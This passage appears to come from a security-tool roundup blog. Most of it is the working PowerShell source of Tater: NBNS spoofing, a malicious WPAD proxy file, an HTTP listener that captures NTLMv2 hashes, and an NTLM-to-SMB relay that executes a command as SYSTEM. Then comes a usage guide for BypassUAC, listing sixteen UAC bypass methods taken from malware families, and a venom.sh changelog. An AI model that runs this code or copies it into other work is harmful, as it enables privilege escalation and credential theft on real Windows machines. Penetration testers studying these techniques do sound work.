            + (0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24,0x00,0x68,0x00,0x6f,0x00)`
            + (0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00,0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00)`
            + (0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00)`
            + $HTTP_timestamp`
            + (0x00,0x00,0x00,0x00,0x0a,0x0a)

        $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes)
        $NTLM = 'NTLM ' + $NTLM_challenge_base64
        $NTLM_challenge = $HTTP_challenge

        Return $NTLM

    }

    $SMBRelayTarget = "127.0.0.1"
    
    :HTTP_listener_loop while ($tater.running)
    {
        if($tater.SMBRelay_success)
        {
            #$HTTP_stream.close()
            $tater.HTTP_client.Close()
            $tater.HTTP_client.dispose()
            $tater.console_queue.add("$(Get-Date -format 's') - Attempting to stop HTTP listener")
            start-sleep -s 1
            $tater.HTTP_client.close()
            $tater.HTTP_client.dispose()
            start-sleep -s 1
            $tater.running = $false
            break HTTP_listener_loop
        }

        $tater.message = ''
        $TCP_request = $NULL
        $TCP_request_bytes = New-Object System.Byte[] 1024

        while(!$tater.HTTP_listener.Pending() -and !$tater.HTTP_client.Connected)
        {
            $tater.console_queue.add("$(Get-Date -format 's') - Waiting for incoming HTTP connection...")
            Start-Sleep -s 1

            if($tater.SMBRelay_success)
            {
                $tater.console_queue.add("$(Get-Date -format 's') - Attempting to stop HTTP listener")
                start-sleep -s 1
                $tater.HTTP_client.close()
                $tater.HTTP_client.dispose()
                start-sleep -s 1
                $tater.running = $false
                break HTTP_listener_loop
            }
        }

        if(!$tater.HTTP_client.Connected)
        {
            $tater.HTTP_client = $tater.HTTP_listener.AcceptTcpClient() # will block here until connection 
	        $HTTP_stream = $tater.HTTP_client.GetStream() 
        }

        while ($HTTP_stream.DataAvailable)
        {
            $HTTP_stream.Read($TCP_request_bytes, 0, $TCP_request_bytes.Length)
        }

        $TCP_request = [System.BitConverter]::ToString($TCP_request_bytes)

        if($TCP_request -like "47-45-54-20*" -or $TCP_request -like "48-45-41-44-20*")
        {
            $HTTP_raw_URL = $TCP_request.Substring($TCP_request.IndexOf("-20-") + 4,$TCP_request.Substring($TCP_request.IndexOf("-20-") + 1).IndexOf("-20-") - 3)
            $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
            $tater.request_RawUrl = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length)
        
            if($tater.request_RawUrl -eq "")
            {
                $tater.request_RawUrl = "/"
            }
        }

        if($TCP_request -like "*-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-*")
        {
            $HTTP_authorization_header = $TCP_request.Substring($TCP_request.IndexOf("-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-") + 46)
            $HTTP_authorization_header = $HTTP_authorization_header.Substring(0,$HTTP_authorization_header.IndexOf("-0D-0A-"))
            $HTTP_authorization_header = $HTTP_authorization_header.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
            $authentication_header = New-Object System.String ($HTTP_authorization_header,0,$HTTP_authorization_header.Length)
        }
        else
        {
            $authentication_header =  ''
        }

        $HTTP_type = "HTTP"

        $HTTP_request_type = ""
        
        if ($tater.request_RawUrl -match '/wpad.dat')
        {
            $tater.response_StatusCode = (0x32,0x30,0x30)
            $HTTP_response_phrase = (0x4f,0x4b)
            $HTTP_WPAD_response = (0x66,0x75,0x6e,0x63,0x74,0x69,0x6f,0x6e,0x20,0x46,0x69,0x6e,0x64,0x50,0x72,0x6f,0x78,0x79,0x46,0x6f,0x72,0x55,0x52,0x4c,0x28)`
                + (0x75,0x72,0x6c,0x2c,0x68,0x6f,0x73,0x74,0x29,0x7b,0x69,0x66,0x20,0x28,0x64,0x6e,0x73,0x44,0x6f,0x6d,0x61,0x69,0x6e,0x49,0x73,0x28,0x68,0x6f)`
                + (0x73,0x74,0x2c,0x20,0x22,0x6c,0x6f,0x63,0x61,0x6c,0x68,0x6f,0x73,0x74,0x22,0x29,0x29,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x22,0x44,0x49)`
                + (0x52,0x45,0x43,0x54,0x22,0x3b,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x22,0x50,0x52,0x4f,0x58,0x59,0x20,0x31,0x32,0x37,0x2e,0x30,0x2e,0x30,0x2e,0x31)`
                + (0x3a,0x38,0x30,0x22,0x3b,0x7d)

            $NTLM = ''
            $HTTP_request_type = "WPAD"
            $tracker = "No"
        }
        elseif ($tater.request_RawUrl -eq '/GETHASHES')
        {
            $tater.response_StatusCode = (0x34,0x30,0x31)
            $HTTP_response_phrase = (0x4f,0x4b)
            #$HTTP_response_phrase = (0x55,0x6e,0x61,0x75,0x74,0x68,0x6f,0x72,0x69,0x7a,0x65,0x64)
            $NTLM = 'NTLM'
            $HTTP_request_type = "NTLM"
            $tracker = "Yes"
        }
        else
        {
            $tater.response_StatusCode = (0x33,0x30,0x32)
            $HTTP_location = (0x43,0x61,0x63,0x68,0x65,0x2d,0x43,0x6f,0x6e,0x74,0x72,0x6f,0x6c,0x3a,0x20,0x70,0x72,0x69,0x76,0x61,0x74,0x65,0x0d,0x0a,0x43,0x6f)`
                + (0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73)`
                + (0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a,0x45,0x78,0x70,0x69,0x72,0x65,0x73,0x3a,0x20,0x4d,0x6f,0x6e,0x2c,0x20,0x30,0x31,0x20,0x4a)`
                + (0x61,0x6e,0x20,0x30,0x30,0x30,0x31,0x20,0x30,0x30,0x3a,0x30,0x30,0x3a,0x30,0x30,0x20,0x47,0x4d,0x54,0x0d,0x0a,0x4c,0x6f,0x63,0x61,0x74,0x69)`
                + (0x6f,0x6e,0x3a,0x20,0x68,0x74,0x74,0x70,0x3a,0x2f,0x2f,0x6c,0x6f,0x63,0x61,0x6c,0x68,0x6f,0x73,0x74,0x2f,0x47,0x45,0x54,0x48,0x41,0x53,0x48)`
                + (0x45,0x53,0x0d,0x0a)

            $HTTP_response_phrase = (0x4f,0x4b)
            $NTLM = ''
            $HTTP_request_type = "Redirect"
            $tracker = "No"
        }

        if($authentication_header.startswith('NTLM '))
        {
            $authentication_header = $authentication_header -replace 'NTLM ',''
            [byte[]] $HTTP_request_bytes = [System.Convert]::FromBase64String($authentication_header)
            $tater.response_StatusCode = (0x34,0x30,0x31)
            $HTTP_response_phrase = (0x4f,0x4b)
            
            if ($HTTP_request_bytes[8] -eq 1)
            {
                $tater.console_queue.add("$(Get-Date -format 's') - $HTTP_type request for " + $tater.request_RawUrl + " received from " + $tater.HTTP_client.Client.RemoteEndpoint.Address)

                if(($tater.SMB_relay) -and ($tater.SMB_relay_active_step -eq 0)) # -and ($tater.request.RemoteEndpoint.Address -ne $SMBRelayTarget))
                {
                    $tater.SMB_relay_active_step = 1
                    $tater.console_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay triggered by " + $tater.HTTP_client.Client.RemoteEndpoint.Address)
                    $tater.console_queue.add("$(Get-Date -format 's') - Grabbing challenge for relay from $SMBRelayTarget")
                    $SMB_relay_socket = New-Object System.Net.Sockets.TCPClient
                    $SMB_relay_socket.connect($SMBRelayTarget,"445")
                    
                    if(!$SMB_relay_socket.connected)
                    {
                        $tater.console_queue.add("$(Get-Date -format 's') - SMB relay target is not responding")
                        $tater.SMB_relay_active_step = 0
                    }
                    
                    if($tater.SMB_relay_active_step -eq 1)
                    {
                        $SMB_relay_bytes = SMBRelayChallenge $SMB_relay_socket $HTTP_request_bytes
                        $tater.SMB_relay_active_step = 2
                        $SMB_relay_bytes = $SMB_relay_bytes[2..$SMB_relay_bytes.length]
                        $SMB_user_ID = $SMB_relay_bytes[34..33]
                        $SMB_relay_NTLMSSP = [System.BitConverter]::ToString($SMB_relay_bytes)
                        $SMB_relay_NTLMSSP = $SMB_relay_NTLMSSP -replace "-",""
                        $SMB_relay_NTLMSSP_index = $SMB_relay_NTLMSSP.IndexOf("4E544C4D53535000")
                        $SMB_relay_NTLMSSP_bytes_index = $SMB_relay_NTLMSSP_index / 2
                        $SMB_domain_length = DataLength ($SMB_relay_NTLMSSP_bytes_index + 12) $SMB_relay_bytes
                        $SMB_domain_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 12)..($SMB_relay_NTLMSSP_bytes_index + 19)]
                        $SMB_target_length = DataLength ($SMB_relay_NTLMSSP_bytes_index + 40) $SMB_relay_bytes
                        $SMB_target_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 40)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length)]
                        $SMB_relay_NTLM_challenge = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 24)..($SMB_relay_NTLMSSP_bytes_index + 31)]
                        $SMB_reserved = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 32)..($SMB_relay_NTLMSSP_bytes_index + 39)]
                        $SMB_relay_target_details = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 56 + $SMB_domain_length)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length + $SMB_target_length)]
                    
                        [byte[]] $HTTP_NTLM_bytes = (0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00)`
                            + $SMB_domain_length_offset_bytes`
                            + (0x05,0xc2,0x89,0xa2)`
                            + $SMB_relay_NTLM_challenge`
                            + $SMB_reserved`
                            + $SMB_target_length_offset_bytes`
                            + $SMB_relay_target_details
                    
                        $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes)
                        $NTLM = 'NTLM ' + $NTLM_challenge_base64
                        $NTLM_challenge = SMBNTLMChallenge $SMB_relay_bytes
                        $tater.HTTP_challenge_queue.Add($tater.HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + $tater.HTTP_client.Client.RemoteEndpoint.Port + ',' + $NTLM_challenge)
                        $tater.console_queue.add("$(Get-Date -format 's') - Received challenge $NTLM_challenge for relay from $SMBRelayTarget")
                        $tater.console_queue.add("$(Get-Date -format 's') - Providing challenge $NTLM_challenge for relay to " + $tater.HTTP_client.Client.RemoteEndpoint.Address)
                        $tater.SMB_relay_active_step = 3
                    }
                    else
                    {
                        $NTLM = NTLMChallengeBase64
                    }
                }
                else
                {
                     $NTLM = NTLMChallengeBase64
                }
                
                $tater.response_StatusCode = (0x34,0x30,0x31)
                $HTTP_response_phrase = (0x4f,0x4b)
                
            }
            elseif ($HTTP_request_bytes[8] -eq 3)
            {
                $NTLM = 'NTLM'
                $HTTP_NTLM_offset = $HTTP_request_bytes[24]
                $HTTP_NTLM_length = DataLength 22 $HTTP_request_bytes
                $HTTP_NTLM_domain_length = DataLength 28 $HTTP_request_bytes
                $HTTP_NTLM_domain_offset = DataLength 32 $HTTP_request_bytes
                       
                if($HTTP_NTLM_domain_length -eq 0)
                {
                    $HTTP_NTLM_domain_string = ''
                }
                else
                {  
                    $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_length 0 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes
                } 
                    
                $HTTP_NTLM_user_length = DataLength 36 $HTTP_request_bytes
                $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_length $HTTP_NTLM_domain_length 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes
                        
                $HTTP_NTLM_host_length = DataLength 44 $HTTP_request_bytes
                $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_length $HTTP_NTLM_domain_length $HTTP_NTLM_user_length $HTTP_NTLM_domain_offset $HTTP_request_bytes
                
                $NTLM_type = "NTLMv2"           
                $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-",""
                $NTLM_response = $NTLM_response.Insert(32,':')
                $tater.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response
                
                $tater.response_StatusCode = (0x32,0x30,0x30)
                $HTTP_response_phrase = (0x4f,0x4b)
                $NTLM_challenge = ''
                
                if (($tater.SMB_relay) -and ($tater.SMB_relay_active_step -eq 3))
                {
                    $tater.console_queue.add("$(Get-Date -format 's') - Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $SMBRelaytarget")
                    $SMB_relay_response_return_bytes = SMBRelayResponse $SMB_relay_socket $HTTP_request_bytes $SMB_user_ID
                    $SMB_relay_response_return_bytes = $SMB_relay_response_return_bytes[1..$SMB_relay_response_return_bytes.length]
                    
                    if((!$SMB_relay_failed) -and ([System.BitConverter]::ToString($SMB_relay_response_return_bytes[9..12]) -eq ('00-00-00-00')))
                    {
                        $tater.console_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget")
                        $tater.SMB_relay_active_step = 4
                        SMBRelayExecute $SMB_relay_socket $SMB_user_ID          
                    }
                    else
                    {
                        $tater.console_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget")
                        $tater.SMB_relay_active_step = 0
                        $SMB_relay_socket.Close()
                    }
                }
            }
            else
            {
                $NTLM = 'NTLM'
            }    
        }

        $HTTP_timestamp = Get-Date -format r
        $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp)
        
        $HTTP_WWW_authenticate_header = (0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20)

        if($NTLM)
        {
            $NTLM = [System.Text.Encoding]::UTF8.GetBytes($NTLM)
            $marker = "1"
            [Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)`
                + $tater.response_StatusCode`
                + (0x20)`
                + $HTTP_response_phrase`
                + (0x0d,0x0a)`
                + (0x43,0x61,0x63,0x68,0x65,0x2d,0x43,0x6f,0x6e,0x74,0x72,0x6f,0x6c,0x3a,0x20,0x70,0x72,0x69,0x76,0x61,0x74,0x65,0x0d,0x0a)`
                + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73,0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a)`
                + (0x45,0x78,0x70,0x69,0x72,0x65,0x73,0x3a,0x20,0x4d,0x6f,0x6e,0x2c,0x20,0x30,0x31,0x20,0x4a,0x61,0x6e,0x20,0x30,0x30,0x30,0x31,0x20,0x30,0x30,0x3a,0x30,0x30,0x3a,0x30,0x30,0x20,0x47,0x4d,0x54,0x0d,0x0a)`
                + $HTTP_WWW_authenticate_header`
                + $NTLM`
                + (0x0d,0x0a)`
                + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20,0x30,0x0d,0x0a)`
                + (0x0d,0x0a)
        }
        elseif($HTTP_request_type -eq 'WPAD')
        {
            $marker = "2"
            [Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)`
                + $tater.response_StatusCode`
                + (0x20)`
                + $HTTP_response_phrase`
                + (0x0d,0x0a)`
                + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73,0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a)`
                + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20,0x31,0x31,0x36,0x0d,0x0a)`
                + (0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)`
                + (0x44,0x61,0x74,0x65,0x3a)`
                + $HTTP_timestamp`
                + (0x0d,0x0a,0x0d,0x0a)`
                + $HTTP_WPAD_response 
        }
        elseif($HTTP_request_type -eq 'Redirect')
        {
            $marker = "3"
            [Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)`
                + $tater.response_StatusCode`
                + (0x20)`
                + $HTTP_response_phrase`
                + (0x0d,0x0a)`
                + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20,0x30,0x0d,0x0a)`
                + (0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)`
                + $HTTP_location`
                + (0x44,0x61,0x74,0x65,0x3a)`
                + $HTTP_timestamp`
                + (0x0d,0x0a,0x0d,0x0a)
        }
        else
        {
            $marker = "1"
            [Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x20)`
                + $tater.response_StatusCode`
                + (0x20)`
                + $HTTP_response_phrase`
                + (0x0d,0x0a)`
                + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20,0x31,0x30,0x37,0x0d,0x0a)`
                + (0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)`
                + (0x44,0x61,0x74,0x65,0x3a)`
                + $HTTP_timestamp`
                + (0x0d,0x0a,0x0d,0x0a)`
        }


        [byte[]] $HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($tater.message)
        
        $HTTP_stream.write($HTTP_response, 0, $HTTP_response.length)
        $HTTP_stream.Flush()
        start-sleep -s 1
        
        #}

        #$tater.HTTP_client.getstream.close()
        #$tater.HTTP_client.Close()

    }

    #$tater.HTTP_listener.Stop()
    #$tater.HTTP_listener.Close()
}

$spoofer_scriptblock = 
{
    param ($IP)

    [Byte[]]$NBNS_response_packet = (0x00,0x00)`
        + (0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20)`
        + (0x46,0x48,0x46,0x41,0x45,0x42,0x45,0x45,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x41,0x41,0x00)`
        + (0x00,0x20,0x00,0x01,0x00,0x00,0x00,0xa5,0x00,0x06,0x00,0x00,0x7f,0x00,0x00,0x01)`
        + (0x00,0x00,0x00,0x00)
                
    $send_socket = New-Object System.Net.Sockets.UdpClient(137)
    $destination_IP = [system.net.IPAddress]::Parse($IP)
    $destination_point = New-Object Net.IPEndpoint($destination_IP,137)
    $send_socket.Connect($destination_point)
       
    while ($tater.running)
    {
        for ($i = 0; $i -lt 255; $i++)
        {
            for ($j = 0; $j -lt 255; $j++)
            {
                $NBNS_response_packet[0] = $i
                $NBNS_response_packet[1] = $j                 
                [void]$send_socket.send( $NBNS_response_packet,$NBNS_response_packet.length)
            }
        }
    }

    $send_socket.Close()
 }

 $tater_scriptblock = 
{
    param ($RunTime)

    if($RunTime)
    {    
        $tater_timeout = new-timespan -Minutes $RunTime
        $tater_stopwatch = [diagnostics.stopwatch]::StartNew()
    }

    while ($tater.running)
    {
       try
        {
            $WPAD_IP = [System.Net.Dns]::GetHostEntry("wpad").AddressList[0].IPAddressToString
        }
        catch{}
            
        if($WPAD_IP -eq "127.0.0.1")
        {
            if(!$tater.WPAD_spoof)
            {
                $tater.console_queue.add("$(Get-Date -format 's') - WPAD has been spoofed")
            }

            $tater.WPAD_spoof = $true
            $WPAD_IP = ""
        }
        else
        {
            if($tater.WPAD_spoof)
            {
                $tater.console_queue.add("$(Get-Date -format 's') - Trying to spoof WPAD...")
            }
            $tater.WPAD_spoof = $false
        }

        if(Test-Path "C:\Program Files\Windows Defender\MpCmdRun.exe")
        {
            if(($process_defender.HasExited -or !$process_defender) -and !$tater.SMB_relay_success -and $tater.WPAD_spoof)
            {
                $process_defender = Start-Process -FilePath "C:\Program Files\Windows Defender\MpCmdRun.exe" -Argument SignatureUpdate -WindowStyle Hidden -passthru
                $tater.console_queue.add("$(Get-Date -format 's') - Starting Windows Defender signature update...")
            }
        }
        else
        {
            $tater.console_queue.add("Windows Defender not found")
        }

        if($tater.SMBRelay_success)
        {
            Stop-Process -id $process_defender.Id
        }

        if($RunTime)
        {
            if($tater_stopwatch.elapsed -ge $tater_timeout)
            {
                $tater.running = $false
                $tater.HTTP_listener.server.blocking = $false
                Start-Sleep -s 1
                $tater.HTTP_listener.server.Close()
                Start-Sleep -s 1
                $tater.HTTP_listener.Stop()
                $tater.SMBRelay_success = $false
            }
        } 
           
        Start-Sleep -m 5
    }
 }

# HTTP/HTTPS Listener Startup Function 
Function HTTPListener()
{
    $tater.HTTP_endpoint = New-Object System.Net.IPEndPoint([ipaddress]::loopback,80)
    $tater.HTTP_listener = New-Object System.Net.Sockets.TcpListener $tater.HTTP_endpoint
    $tater.HTTP_listener.Start()
    $HTTP_runspace = [runspacefactory]::CreateRunspace()
    $HTTP_runspace.Open()
    $HTTP_runspace.SessionStateProxy.SetVariable('tater',$tater)
    $HTTP_powershell = [powershell]::Create()
    $HTTP_powershell.Runspace = $HTTP_runspace
    $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null
    $HTTP_powershell.AddScript($SMB_relay_challenge_scriptblock) > $null
    $HTTP_powershell.AddScript($SMB_relay_response_scriptblock) > $null
    $HTTP_powershell.AddScript($SMB_relay_execute_scriptblock) > $null
    $HTTP_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null
    $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Command) > $null
    $HTTP_handle = $HTTP_powershell.BeginInvoke()
}

# Spoofer Startup Function
Function Spoofer()
{
    $spoofer_runspace = [runspacefactory]::CreateRunspace()
    $spoofer_runspace.Open()
    $spoofer_runspace.SessionStateProxy.SetVariable('tater',$tater)
    $spoofer_powershell = [powershell]::Create()
    $spoofer_powershell.Runspace = $spoofer_runspace
    $spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null
    $spoofer_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null
    $spoofer_powershell.AddScript($spoofer_scriptblock).AddArgument($IP) > $null
    $spoofer_handle = $spoofer_powershell.BeginInvoke()
}

# Spoofer Startup Function
Function TaterLoop()
{
    $tater_runspace = [runspacefactory]::CreateRunspace()
    $tater_runspace.Open()
    $tater_runspace.SessionStateProxy.SetVariable('tater',$tater)
    $tater_powershell = [powershell]::Create()
    $tater_powershell.Runspace = $tater_runspace
    $tater_powershell.AddScript($tater_scriptblock).AddArgument($RunTime) > $null
    $tater_handle = $tater_powershell.BeginInvoke()
}

# HTTP Server Start
HTTPListener

# Spoofer Start
Spoofer

# Tater Loop Start
TaterLoop

if($tater.console_output)
{

    :console_loop while($tater.running -and $tater.console_output)
    {
        while($tater.console_queue.Count -gt 0)
        {
            if($tater.output_stream_only)
            {
                write-output($tater.console_queue[0] + $tater.newline)
                $tater.console_queue.RemoveRange(0,1)
            }
            else
            {
                switch -wildcard ($tater.console_queue[0])
                {
                    default
                    {
                        write-output $tater.console_queue[0]
                        $tater.console_queue.RemoveRange(0,1)
                    }
                } 
            } 

        }

        if($tater.console_input)
        {
            if([console]::KeyAvailable)
            {
                $tater.console_output = $false
                BREAK console_loop
            }
        }

        Start-Sleep -m 5
    }
}

$tater.HTTP_listener.server.blocking = $false
Start-Sleep -s 1
$tater.HTTP_listener.server.Close()
Start-Sleep -s 1
$tater.HTTP_listener.Stop()
$tater.SMBRelay_success = $false
Write-Output "$(Get-Date -format 's') - Tater has exited"
}
#End Invoke-Tater

Function Stop-Tater
{
    <#
    .SYNOPSIS
    Stop-Tater will stop Tater before a successful privilege escalation.
    #>
    if($tater)
    {
        if($tater.running)
        {
            $tater.running = $false
            Start-Sleep -s 1
            $tater.HTTP_listener.server.blocking = $false
            Start-Sleep -s 1
            $tater.HTTP_listener.server.Close()
            Start-Sleep -s 1
            $tater.HTTP_listener.Stop()
            $tater.SMBRelay_success = $false

            $tater.status_queue.add("Tater exited at $(Get-Date -format 's')")|Out-Null
        }
        else
        {
            $tater.status_queue.add("Tater isn't running") | Out-Null
        }
    }
    else
    {
        $tater.status_queue.add("Tater isn't running")|Out-Null
    }

    if($tater.status_output)
    {
        while($tater.status_queue.Count -gt 0)
        {
            if($tater.output_stream_only)
            {
                write-output($tater.status_queue[0] + $tater.newline)
                $tater.status_queue.RemoveRange(0,1)
            }
            else
            {
                write-output $tater.status_queue[0]
                $tater.status_queue.RemoveRange(0,1)
            }   
        }
    }
} 

Function Get-Tater
{
    <#
    .SYNOPSIS
    Get-Inveigh will display queued Tater output.
    #>
    while($tater.console_queue.Count -gt 0)
    {
        if($tater.output_stream_only)
        {
            write-output($tater.console_queue[0] + $tater.newline)
            $tater.console_queue.RemoveRange(0,1)
        }
        else
        {
            write-output $tater.console_queue[0]
            $tater.console_queue.RemoveRange(0,1)
        }    
    }
}

Source : https://github.com/Kevin-Robertson


BypassUAC is a Defeating Windows User Account Control by abusing built-in Windows AutoElevate backdoor.

$
0
0

BypassUAC is a Defeating Windows User Account Control by abusing built-in Windows AutoElevate backdoor.

System Requirements
1.x86-32/x64 Windows 7/8/8.1/10 (client, some methods however works on server version too).
2.Admin account with UAC set on default settings required.

BypassUAC

BypassUAC

Usage
Run executable from command line: BypassUAC_x86 [Key] [Param] or BypassUAC_x64 [Key] [Param]. See “Run examples” below for more info.
First param is number of method to use, second is optional command (executable file name including full path) to run. Second param can be empty – in this case program will execute elevated cmd.exe from system32 folder.
Keys (watch debug ouput with dbgview or similar for more info):
1 – Leo Davidson sysprep method, this will work only on Windows 7 and Windows 8, used in multiple malware;
2 – Tweaked Leo Davidson sysprep method, this will work only on Windows 8.1.9600;
3 – Leo Davidson method tweaked by WinNT/Pitou developers, works from Windows 7 up to 10th2 10532;
4 – Application Compatibility Shim RedirectEXE method, from WinNT/Gootkit. Works from Windows 7 up to 8.1.9600;
5 – ISecurityEditor WinNT/Simda method, used to turn off UAC, works from Windows 7 up to Windows 10th1 100136;
6 – Wusa method used by Win32/Carberp, tweaked to work with Windows 8/8.1 also;
7 – Wusa method, tweaked to work from Windows 7 up to 10th1 10136;
8 – Slightly modified Leo Davidson method used by Win32/Tilon, works only on Windows 7;
9 – Hybrid method, combination of WinNT/Simda and Win32/Carberp + AVrf, works from Windows 7 up to 10th1 10136;
10 – Hybrid method, abusing appinfo.dll way of whitelisting autoelevated applications and KnownDlls cache changes, works from Windows 7 up to 10th2 10532;
11 – WinNT/Gootkit second method based on the memory patching from MS “Fix it” patch shim (and as side effect – arbitrary dll injection), works from Windows 7 up to 8.1.9600;
12 – Windows 10 sysprep method, abusing different dll dependency added in Windows 10 (works up to 10th2 10558);
13 – Hybrid method, abusing appinfo.dll way of whitelisting MMC console commands and EventViewer missing dependency, works from Windows 7 up to 10rs1 11082;
14 – WinNT/Sirefef method, abusing appinfo.dll way of whitelisting OOBE.exe, works from Windows 7 up to 10th2 10558;
15 – Win32/Addrop method, also used in Metasploit uacbypass module, works from Windows 7 up to 10rs1 11082;
16 – Hybrid method working together with Microsoft GWX backdoor, work from Windows 7 up to 10rs1 11082.

Note:
+ Several methods require process injection, so they won’t work from wow64, use x64 edition of this tool;
+ Method (4) unavailable in 64 bit edition because of Shim restriction;
+ Method (6) unavailable in wow64 environment starting from Windows 8. Also target application unavailable in Windows 10;
+ Method (11) implemented in x86-32 version;
+ Method (13) implemented only in x64 version.

Run examples:
BypassUAC_x86.ex 1 -16 cmd.exe
BypassUAC_x64.ex 3 cmd.exe

Download : BypassUAC.zip
Source :https://github.com/xsysvermin

venom.sh v1.0.10 – Codename: Final Polymorphic Stub.

$
0
0

CHANGELOG VERSION 1.0.10 (26/1/2016) Codename: Final Polymorphic Stub;
FUNCTION   |      DESCRIPTION
——- ——-       —————————————————————————
bug fix          ->    ‘getsystem’ bug fixed in all resource files (.rc)
improved     ->    venom terminal displays review/improved/fixed.
